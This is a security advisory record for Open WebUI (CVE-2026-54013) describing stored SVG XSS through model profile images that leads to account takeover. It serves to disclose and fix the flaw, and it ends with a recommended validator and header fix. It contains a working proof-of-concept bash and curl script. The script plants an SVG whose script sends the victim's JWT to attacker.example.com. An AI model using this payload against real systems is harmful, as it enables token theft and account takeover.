{"id":"PYSEC-2026-2757","summary":"Open WebUI: Stored XSS to Account Takeover via Model Profile Images ","details":"# Stored XSS to Account Takeover via Model Profile Images in Open WebUI\n\n**Affected:** Open WebUI \u003c= 0.9.5\n**Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc\n\n---\n\n## TL;DR\n\nOpen WebUI patched SVG XSS in user profile images and webhook profile images  but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.\n\n---\n\n## Past of the issue\n\nIn early 2025, two security advisories landed for Open WebUI:\n\n- **GHSA-3wgj-c2hg-vm6q**  SVG XSS via user profile images\n- **GHSA-3856-3vxq-m6fc**  SVG XSS via webhook profile images\n\nThe patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py`  a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `\u003cscript\u003e` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`.\n\nThe fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed.\n\nExcept there was a fourth endpoint.\n\n## The Gap\n\nOpen WebUI has a concept of \"Models\"  user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py, line 37-47\nclass ModelMeta(BaseModel):\n    profile_image_url: Optional[str] = '/static/favicon.png'\n    description: Optional[str] = None\n    capabilities: Optional[dict] = None\n    model_config = ConfigDict(extra='allow')\n```\n\nNo `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url`  including `data:image/svg+xml;base64,...`.\n\nThe serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap:\n\n```python\n# backend/open_webui/routers/models.py, line 503-518\nelif profile_image_url.startswith('data:image'):\n    header, base64_data = profile_image_url.split(',', 1)\n    image_data = base64.b64decode(base64_data)\n    image_buffer = io.BytesIO(image_data)\n    media_type = header.split(';')[0].lstrip('data:')\n\n    headers = {'Content-Disposition': 'inline'}\n    # ...\n    return StreamingResponse(\n        image_buffer,\n        media_type=media_type,\n        headers=headers,\n    )\n```\n\nNo MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application's origin.\n\nCompare this with the **patched** user endpoint:\n\n```python\n# backend/open_webui/routers/users.py, line 497-509\nmedia_type = header.split(';')[0].lstrip('data:').lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:   # \u003c-- ABSENT in models.py\n    return FileResponse(f'{STATIC_DIR}/user.png')\n\nreturn StreamingResponse(\n    image_buffer,\n    media_type=media_type,\n    headers={\n        'Content-Disposition': 'inline',\n        'X-Content-Type-Options': 'nosniff',             # \u003c-- ABSENT in models.py\n    },\n)\n```\n\nThe fix exists. It just was never applied here.\n\n## Comparison Table\n\n| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |\n|----------|:---:|:---:|:---:|--------|\n| `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** |\n| `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched |\n| `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** |\n\n## Three Write Vectors\n\nThe malicious SVG data URI can be injected through any of three endpoints  all pass `ModelForm` containing `ModelMeta` without validation:\n\n1. **`POST /api/v1/models/create`** (line 195)  any user with `workspace.models` permission\n2. **`POST /api/v1/models/update`** (line 581)  model owner or admin\n3. **`POST /api/v1/models/import`** (line 279)  admin only\n\nThe `workspace.models` permission is **enabled by default** for all non-pending users in a standard deployment.\n\n## The Attack\n\n**Step 1  Store the payload:**\n\n```bash\nSVG=$(echo '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n  \u003c/script\u003e\n\u003c/svg\u003e' | base64 -w0)\n\ncurl -s -X POST 'https://TARGET/api/v1/models/create' \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\n    \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n    \\\"name\\\": \\\"GPT-4 Turbo\\\",\n    \\\"base_model_id\\\": \\\"gpt-4\\\",\n    \\\"meta\\\": {\n      \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n      \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n    },\n    \\\"params\\\": {},\n    \\\"access_grants\\\": []\n  }\"\n```\n\n**Step 2  Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model's avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3  Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n  \u003c/script\u003e\n\u003c/svg\u003e\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\u003cscript\u003e` executes. `localStorage.getItem(\"token\")` returns the victim's JWT. The attacker receives it and has full API access  password changes, admin promotion, data exfiltration.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\n# PoC: Stored SVG XSS -\u003e token theft via Open WebUI model profile image\n# Affected: open-webui \u003c= 0.9.5\n\nTARGET=\"http://localhost:8080\"\nATTACKER_TOKEN=\"\u003cattacker_JWT_from_localStorage.token\u003e\"\nCOLLECTOR=\"https://attacker.example.com/steal\"   # attacker-controlled listener\n\n# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---\nread -r -d '' SVG \u003c\u003cEOF\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"${COLLECTOR}?t=\"+encodeURIComponent(localStorage.getItem(\"token\"));\n  \u003c/script\u003e\n\u003c/svg\u003e\nEOF\nSVG_B64=$(printf '%s' \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model's profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n  -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n    \\\"name\\\": \\\"GPT-4 Turbo\\\",\n    \\\"base_model_id\\\": \\\"gpt-4\\\",\n    \\\"meta\\\": {\n      \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n      \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n    },\n    \\\"params\\\": {},\n    \\\"access_grants\\\": []\n  }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof — SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003enew Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\u003c/script\u003e\n\u003c/svg\u003e\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the \u003cscript\u003e executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).\n\nTrigger note: because the frontend loads model avatars in `\u003cimg src=...\u003e` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → \"Open image in new tab\", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.\n\n## Root Cause\n\nAn incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta`  which uses the same `profile_image_url` field with the same serving logic  was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.\n\n## Recommended Fix\n\n**Input side**  add the validator to `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py\nfrom open_webui.utils.validate import validate_profile_image_url\n\nclass ModelMeta(BaseModel):\n    profile_image_url: Optional[str] = '/static/favicon.png'\n    # ...\n\n    @field_validator('profile_image_url', mode='before')\n    @classmethod\n    def check_profile_image_url(cls, v):\n        if v is None:\n            return v\n        return validate_profile_image_url(v)\n```\n\n**Output side**  add MIME check and nosniff to the serving endpoint:\n\n```python\n# backend/open_webui/routers/models.py\nmedia_type = header.split(';')[0].lstrip('data:').lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:\n    return FileResponse(f'{STATIC_DIR}/favicon.png')\n\nreturn StreamingResponse(\n    image_buffer,\n    media_type=media_type,\n    headers={\n        'Content-Disposition': 'inline',\n        'X-Content-Type-Options': 'nosniff',\n    },\n)\n```\n\nBoth layers are necessary  input validation prevents storage, output validation prevents serving even if a bypass is found later.","aliases":["CVE-2026-54013","GHSA-v2qm-5wxj-qhj7"],"modified":"2026-07-13T16:32:24.907683594Z","published":"2026-07-13T15:46:19.443986Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-v2qm-5wxj-qhj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54013"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2757.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"}]}